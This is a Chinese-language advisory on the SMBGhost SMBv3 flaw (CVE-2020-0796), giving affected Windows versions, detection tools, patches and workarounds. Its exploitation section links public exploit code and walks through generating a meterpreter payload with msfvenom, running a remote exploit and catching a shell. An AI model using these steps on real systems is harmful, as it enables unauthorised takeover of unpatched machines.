通告背景
2020年3月11日,某國外安全公司發布了一個近期微軟安全補丁包所涉及漏洞的綜述,其中談到了一個威脅等級被標記為Critical的SMB服務遠程代碼執行漏洞(CVE-2020-0796),攻擊者可以利用此漏洞遠程無需用戶驗證通過發送構造特殊的惡意數據導致在目標系統上執行惡意代碼,從而獲取機器的完全控制。此漏洞主要影響支持SMBv3.0的設備,理論上存在蠕蟲化的可能性。
漏洞描述
漏洞存在於Windows的SMBv3.0(文件共享與打印服務)中,目前技術細節暫不公布,對於漏洞的利用無需用戶驗證,通過構造惡意請求即可觸發導致任意代碼執行,系統受到非授權控制。
影響面評估
此漏洞主要影響SMBv3.0協議,目前支持該協議的設備包括Windows 8、Windows 8.1、Windows 10、Windows Server 2012 和 Windows Server 2016,但是從微軟的通告來看受影響目標主要是Win10系統,考慮到相關設備的數量級,潛在威脅較大。
受影響的Windows操作系統版本
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
漏洞檢測篇
git 腳本檢測:
https://github.com/ollypwn/SMBGhost
檢測返回的數據包中SMB壓縮版本,這種檢測方式打過補丁依然會誤報。
python scanner.py <IP>
奇安信檢測工具:
http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip
適用於局域網批量檢測,快速查找未打補丁的機器。
騰訊電腦管家SMB漏洞修復工具:
http://dlied6.qq.com/invc/QQPatch/QuickFix_SMB0796.exe
適用於個人用戶檢測,一鍵快速檢測和修復。
漏洞利用篇
藍屏PoC:
https://github.com/eerykitty/CVE-2020-0796-PoC
使用兩台虛擬機作為漏洞演示,一台win10 1903版本,一台是Kali Linux。
python3 CVE-2020-0796.py <IP>
本地提權PoC:
https://github.com/danigargu/CVE-2020-0796
本地普通用戶Bypass執行提權exp后彈出cmd窗口,成功獲取system權限。
遠程利用PoC:
https://github.com/chompie1337/SMBGhost_RCE_PoC
漏洞演示過程:
1、使用msfvenom生成payload
msfvenom -p windows/x64/meterpreter/bind_tcp lport=1234 -f py -o evil.py
2、將evil.py 生成的code,替換到exploit.py的USER_PAYLOAD參數,並把參數buf改為USER_PAYLOAD。
root@kali:~# git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git
3、運行exploit.py
python3 exploit.py -ip 192.168.172.128
4、啟動msf監聽本地端口(PS:監聽端口如果一直收不到shell,可重新運行一次。)
msf5 > use exploit/multi/handler
修復方法
1. 補丁
微軟已經發布了此漏洞的安全補丁,訪問如下鏈接:
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796
方法一:給對應的系統打微軟出的最新補丁
系統類型 | 介紹 | 下載鏈接 |
---|---|---|
Windows 10 Version 1903 for 32-bit Systems | KB4551762介紹 | 下載 |
Windows 10 Version 1903 for ARM64-based Systems | KB4551762介紹 | 下載 |
Windows 10 Version 1903 for x64-based Systems | KB4551762介紹 | 下載 |
Windows 10 Version 1909 for 32-bit Systems | KB4551762介紹 | 下載 |
Windows 10 Version 1909 for ARM64-based Systems | KB4551762介紹 | 下載 |
Windows 10 Version 1909 for x64-based Systems | KB4551762介紹 | 下載 |
Windows Server, version 1903 (Server Core installation) | KB4551762介紹 | 下載 |
Windows Server, version 1909 (Server Core installation) | KB4551762介紹 | 下載 |
2. 臨時解決方案
如果暫時無法安裝補丁,微軟當前建議按如下臨時解決方案處理:
方法二:禁用SMBv3壓縮
禁用SMB 3.0的壓縮功能,是否使用需要結合自己業務進行判斷。
使用以下PowerShell命令禁用壓縮功能,以阻止未經身份驗證的攻擊者利用SMBv3 服務器的漏洞。
Set-ItemProperty -Path “HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters” DisableCompression -Type DWORD -Value 1 -Force
用戶可通過以下PowerShell命令撤銷禁用壓縮功能
Set-ItemProperty -Path “HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters” DisableCompression -Type DWORD -Value 0 -Force
注:利用以上命令進行更改后,無需重啟即可生效;該方法僅可用來防護針對SMB服務器(SMB SERVER)的攻擊,無法對SMB客戶端(SMB Client)進行防護。
方法三:設置防火牆策略關閉相關端口
SMB的TCP 445端口
NetBIOS名稱解析的UDP 137端口
NetBIOS數據圖服務的UDP 138端口
NetBIOS會話服務的TCP 139端口
方法四:通過IP安全策略屏蔽危險端口,bat執行添加防火牆策略,關閉危險服務
http://www.piis.cn/news/new1614.asp
參考鏈接:
WI10 windows 2019 server SMBv3協議遠程代碼執行漏洞(CVE-2020-0796)防護方法措施解決方案漏洞補丁
更新:補丁發布 | Microsoft Windows SMBv3.0服務遠程代碼執行漏洞(CVE-2020-0796)通告
CVE-2020-0796 漏洞檢測及利用工具